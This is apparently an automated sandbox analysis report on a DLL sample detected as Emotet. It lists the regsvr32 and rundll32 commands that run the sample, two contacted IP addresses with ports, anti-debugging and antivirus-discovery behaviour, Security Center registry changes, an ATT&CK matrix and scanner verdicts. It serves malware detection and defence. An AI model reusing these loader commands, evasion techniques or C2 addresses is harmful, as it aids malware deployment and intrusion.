Code function: 6_2_10023A79 LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__invoke_watson,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__invoke_watson,__decode_pointer,__decode_pointer,__decode_pointer,

6_2_10023A79

Source: 5o8zdV3GU3.dll

Static PE information: real checksum: 0x66354 should be: 0x74135

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\5o8zdV3GU3.dll

Source: C:\Windows\SysWOW64\rundll32.exe

PE file moved: C:\Windows\SysWOW64\Mumgmtegektiykh\kztyzxlvaam.cuq

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Mumgmtegektiykh\kztyzxlvaam.cuq:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Wqwjyzkxuxtcnbx\rgto.bfe:Zone.Identifier read attributes \| delete			Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_1000D804 IsIconic,GetWindowPlacement,GetWindowRect,	6_2_1000D804
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_10008B90 IsIconic,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,	6_2_10008B90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1000D804 IsIconic,GetWindowPlacement,GetWindowRect,	7_2_1000D804
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10008B90 IsIconic,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,	7_2_10008B90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_1000D804 IsIconic,GetWindowPlacement,GetWindowRect,	12_2_1000D804
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_10008B90 IsIconic,SendMessageA,GetSystemMetrics,GetSystemMetrics,GetClientRect,DrawIcon,	12_2_10008B90

Source: C:\Windows\SysWOW64\rundll32.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\svchost.exe TID: 6732

Thread sleep time: -180000s >= -30000s

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_7-18137

Source: C:\Windows\SysWOW64\regsvr32.exe	API coverage: 4.6 %
Source: C:\Windows\SysWOW64\rundll32.exe	API coverage: 4.7 %
Source: C:\Windows\SysWOW64\rundll32.exe	API coverage: 5.6 %

Source: C:\Windows\SysWOW64\regsvr32.exe	API call chain: ExitProcess graph end node	graph_6-21411
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node	graph_7-18139
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node	graph_12-22121
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node	graph_12-22064

Source: C:\Windows\SysWOW64\rundll32.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: svchost.exe, 00000000.00000002.808696683.000001954B202000.00000004.00000001.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
Source: svchost.exe, 00000018.00000003.392278113.000001E6A52D1000.00000004.00000001.sdmp, svchost.exe, 00000018.00000002.411666750.000001E6A52E8000.00000004.00000001.sdmp, svchost.exe, 00000018.00000002.411641964.000001E6A52C6000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000018.00000002.411613340.000001E6A52A6000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000000.00000002.808868979.000001954B240000.00000004.00000001.sdmp, svchost.exe, 00000003.00000002.808986189.0000026843644000.00000004.00000001.sdmp, svchost.exe, 00000008.00000002.808889452.0000026DCBE29000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 6_2_1001C49A _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

6_2_1001C49A

Source: C:\Windows\SysWOW64\regsvr32.exe

6_2_10023A79

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 6_2_100178B6 GetProcessHeap,GetProcessHeap,HeapAlloc,GetVersionExA,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,__heap_term,__RTC_Initialize,GetCommandLineA,___crtGetEnvironmentStringsA,__ioinit,__mtterm,__setargv,__setenvp,__cinit,__ioterm,__ioterm,__mtterm,__heap_term,___set_flsgetvalue,__calloc_crt,__decode_pointer,__initptd,GetCurrentThreadId,__freeptd,

6_2_100178B6

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_0422F7F7 mov eax, dword ptr fs:[00000030h]	6_2_0422F7F7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_03FFF7F7 mov eax, dword ptr fs:[00000030h]	12_2_03FFF7F7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 15_2_04B3F7F7 mov eax, dword ptr fs:[00000030h]	15_2_04B3F7F7

Source: C:\Windows\System32\loaddll32.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_1001C49A _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_1001C49A
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_10021743 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_10021743
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_100167D5 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_100167D5
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_1001FC21 SetUnhandledExceptionFilter,__encode_pointer,	6_2_1001FC21
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_1001FC43 __decode_pointer,SetUnhandledExceptionFilter,	6_2_1001FC43
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001C49A _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_1001C49A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10021743 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_10021743
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_100167D5 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_100167D5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001FC21 SetUnhandledExceptionFilter,__encode_pointer,	7_2_1001FC21
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001FC43 __decode_pointer,SetUnhandledExceptionFilter,	7_2_1001FC43
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_1001C49A _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_1001C49A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_10021743 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_10021743
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_100167D5 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_100167D5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_1001FC21 SetUnhandledExceptionFilter,__encode_pointer,	12_2_1001FC21
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_1001FC43 __decode_pointer,SetUnhandledExceptionFilter,	12_2_1001FC43

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 69.16.218.101 144			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 45.138.98.34 80			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll",#1

Jump to behavior

Source: svchost.exe, 0000000A.00000002.809322394.00000217E2990000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: svchost.exe, 0000000A.00000002.809322394.00000217E2990000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: svchost.exe, 0000000A.00000002.809322394.00000217E2990000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: svchost.exe, 0000000A.00000002.809322394.00000217E2990000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\rundll32.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: GetThreadLocale,GetLocaleInfoA,GetACP,	6_2_10027704
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: _strcpy_s,__snprintf_s,GetLocaleInfoA,LoadLibraryA,	6_2_1000A803
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: GetLocaleInfoA,	6_2_10023880
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetThreadLocale,GetLocaleInfoA,GetACP,	7_2_10027704
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _strcpy_s,__snprintf_s,GetLocaleInfoA,LoadLibraryA,	7_2_1000A803
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,	7_2_10023880
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetThreadLocale,GetLocaleInfoA,GetACP,	12_2_10027704
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: _strcpy_s,__snprintf_s,GetLocaleInfoA,LoadLibraryA,	12_2_1000A803
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,	12_2_10023880

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 6_2_10022853 cpuid

6_2_10022853

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 6_2_1001F914 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

6_2_1001F914

Source: C:\Windows\SysWOW64\regsvr32.exe

6_2_100178B6

Lowering of HIPS / PFW / Operating System Security Settings:

Changes security center settings (notifications, updates, antivirus, firewall)

Show sources

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Source: svchost.exe, 00000011.00000002.808909564.00000169CC640000.00000004.00000001.sdmp	Binary or memory string: ,@V%ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 00000011.00000002.808878874.00000169CC62A000.00000004.00000001.sdmp, svchost.exe, 00000011.00000002.808977503.00000169CC702000.00000004.00000001.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected Emotet

Show sources

Source: Yara match	File source: 9.2.rundll32.exe.4980000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.4800000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.47c0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.25d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rundll32.exe.4b30000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.4800000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.25c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.3340000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.3340000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.4660000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.4820000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.4980000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.45b0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.4690000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.46f0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.4850000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.49b0000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.3370000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.4580000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rundll32.exe.3240000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.3ff0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.4590000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.46c0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.4590000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.2600000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.4660000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.25c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rundll32.exe.3240000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.47a0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.47f0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.25d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.2920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.46c0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.2920000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.4580000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.4220000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.4820000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.47d0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.47c0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.4830000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.45c0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.47a0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.288106949.0000000002920000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295420739.00000000025D0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.299662672.0000000004B31000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295926271.0000000004820000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.322196530.00000000046F1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295834893.0000000004691000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.322096907.0000000004590000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295905840.00000000047F1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.322237408.00000000047A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295970010.0000000004980000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.322126344.00000000045C1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.322324942.0000000004831000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.322265167.00000000047D1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295742622.0000000004580000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295801770.0000000004660000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.321908815.0000000003FF1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.322168517.00000000046C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295884974.00000000047C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.321798721.00000000025C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295946412.0000000004851000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.291064992.0000000003371000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.299581696.0000000003240000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295994852.00000000049B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295767081.00000000045B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.291040092.0000000003340000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.322291454.0000000004800000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.295442330.0000000002601000.00000020.00000001.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 6_2_100011C0 WSAStartup,_memset,htonl,htons,socket,bind,setsockopt,	6_2_100011C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_100011C0 WSAStartup,_memset,htonl,htons,socket,bind,setsockopt,	7_2_100011C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_100011C0 WSAStartup,_memset,htonl,htons,socket,bind,setsockopt,	12_2_100011C0

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation1	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools1	Input Capture2	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API2	Boot or Logon Initialization Scripts	Process Injection112	Deobfuscate/Decode Files or Information1	LSASS Memory	File and Directory Discovery1	Remote Desktop Protocol	Input Capture2	Exfiltration Over Bluetooth	Encrypted Channel1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information2	Security Account Manager	System Information Discovery35	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	DLL Side-Loading1	NTDS	Query Registry1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	File Deletion1	LSA Secrets	Security Software Discovery51	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Masquerading21	Cached Domain Credentials	Virtualization/Sandbox Evasion2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Virtualization/Sandbox Evasion2	DCSync	Process Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Process Injection112	Proc Filesystem	Application Window Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Hidden Files and Directories1	/etc/passwd and /etc/shadow	Remote System Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Regsvr321	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Rundll321	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
5o8zdV3GU3.dll	31%	Virustotal		Browse
5o8zdV3GU3.dll	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
12.2.rundll32.exe.46c0000.4.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
12.2.rundll32.exe.4800000.8.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
7.2.rundll32.exe.3340000.0.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
9.2.rundll32.exe.4850000.9.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.2.rundll32.exe.45b0000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.2.rundll32.exe.4690000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.2.rundll32.exe.4660000.4.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
15.2.rundll32.exe.4b30000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.2.rundll32.exe.25d0000.0.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
9.2.rundll32.exe.4980000.10.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
9.2.rundll32.exe.4820000.8.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
12.2.rundll32.exe.46f0000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.2.rundll32.exe.3240000.0.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
9.2.rundll32.exe.49b0000.11.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
7.2.rundll32.exe.3370000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
12.2.rundll32.exe.4590000.2.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
12.2.rundll32.exe.3ff0000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.2.rundll32.exe.2600000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
12.2.rundll32.exe.25c0000.0.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
12.2.rundll32.exe.47a0000.6.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
9.2.rundll32.exe.47f0000.7.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
6.2.regsvr32.exe.2920000.0.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
9.2.rundll32.exe.4580000.2.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
6.2.regsvr32.exe.4220000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.2.rundll32.exe.47c0000.6.unpack	100%	Avira	HEUR/AGEN.1145233	Download File
12.2.rundll32.exe.4830000.9.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
12.2.rundll32.exe.47d0000.7.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
12.2.rundll32.exe.45c0000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

Source	Detection	Scanner	Label	Link
windowsupdate.s.llnwi.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
https://www.disneyplus.com/legal/your-california-privacy-rights	0%	URL Reputation	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://www.tiktok.com/legal/report/feedback	0%	URL Reputation	safe
https://activity.windows.comr	0%	URL Reputation	safe
https://%s.xboxlive.com	0%	URL Reputation	safe
https://www.disneyplus.com/legal/privacy-policy	0%	URL Reputation	safe
https://dynamic.t	0%	URL Reputation	safe
https://disneyplus.com/legal.	0%	URL Reputation	safe
http://help.disneyplus.com.	0%	URL Reputation	safe
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
windowsupdate.s.llnwi.net	95.140.236.128	true	false	0%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 0000000D.00000003.311061989.0000027C67A60000.00000004.00000001.sdmp	false		high
https://www.disneyplus.com/legal/your-california-privacy-rights	svchost.exe, 00000018.00000003.388724008.000001E6A595D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.388810562.000001E6A5E02000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.388740953.000001E6A5979000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 0000000D.00000003.311420754.0000027C67A40000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000003.311559423.0000027C67A45000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 0000000D.00000002.312248027.0000027C67A3D000.00000004.00000001.sdmp	false		high
